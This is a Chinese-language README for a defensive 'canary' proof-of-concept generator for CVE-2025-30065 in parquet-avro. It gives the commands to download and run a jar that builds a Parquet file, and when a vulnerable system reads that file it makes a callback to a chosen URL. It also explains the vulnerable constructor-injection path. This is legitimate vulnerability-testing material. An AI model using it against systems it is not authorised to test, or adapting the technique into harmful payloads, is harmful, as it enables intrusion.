(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
最简快速上手(跳过 README 说明,后果自负):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
合规团队?AppSec 团队?漏洞管理团队?F5 Labs 为你们打造了这款工具。该 CVE 的 CVSS 评分为 10 分,这通常意味着需要极短的响应时间。我们将该工具打包为 jar 文件,可为你生成一个 parquet 文件。你可以将其输入到自己的系统中,以判断系统是否存在漏洞——这在修复前后都很有帮助。
该 PoC 的内部实现归功于 Mouad Kondah。他在2025-04-07 发布的分析文章中讨论了此 CVE 及其 PoC。
该 parquet 文件滥用了 parquet-avro 中允许将不受信任的 Java String 传递给任意 Java 类构造函数的行为。你提供回调 URL,当你的系统读取该 parquet 文件时,会导致一个 javax.swing.JEditorPane 对象尝试访问该 URL。这是无害的。
想快速了解这个 canary 漏洞利用工具吗?观看这段两分钟的 YouTube Short 实时演示视频:[演示视频]。
请注意,F5 Labs 所知 parquet-avro 模块存在两种易受攻击的情形:
String 对象强制转换为其他类型时对包进行允许列表(allow-listing)”的概念。org.apache.parquet.avro.SERIALIZABLE_PACKAGES 设置被配置为某种宽松值(例如 *)时。你可以将此工具与系统能够出站访问的任何目标一起使用(DNS 和/或 HTTP(S))。如果你的系统无法通过其中任一方式出站访问互联网,那么请考虑数据中心内任何可达且你能获取 DNS 或 HTTP 访问日志的目标。请注意,如果此处配置不当,将导致漏报(false negative)。此外,org.apache.parquet.avro.SERIALIZABLE_PACKAGES 的非常规设置也可能导致漏报,请参见上一小节。
我们鼓励你阅读并理解代码,然后自行构建。为方便起见,我们在本仓库中提供了该代码的发行版 jar 包。
构建或运行该生成器需要 JDK 21 或更高版本(搜索“OpenJDK21 install”等关键词可能会有所帮助)。如果你熟悉 JDK 的安装,以下是一些快捷方式:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdk你可以直接下载 jar 包,或者克隆仓库。
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
预期输出:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
预期输出:

首先,确定你想要的 YOUR_CALLBACK_URL。你需要能够检测到你的 parquet 处理后端是解析了该 URL 的域名,还是向 Web 服务器请求了该 URL。你可以考虑使用 canarytokens.org 的“Web bug”或“DNS”来实现这一点。详见上文“注意事项”部分。
运行以下命令:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
这将生成 poc.parquet。请按如下方式验证:
file poc.parquet
输出应为:
poc.parquet: Apache Parquet
现在可以将此文件输入到你的系统中。如果你的系统存在漏洞,你将收到一次回调。另请参阅“注意事项”部分。
为方便起见,如果该文件尚不存在,此命令也会生成它。
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
查看 CanaryExploitGenerator.testParquetFile() 了解 parquet 文件的读取方式。你系统深处的代码将如下所示:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
本工具仅用于经授权的安全测试环境。请了解适用司法管辖区的相关法律。法律细节请参阅 LICENSE.md。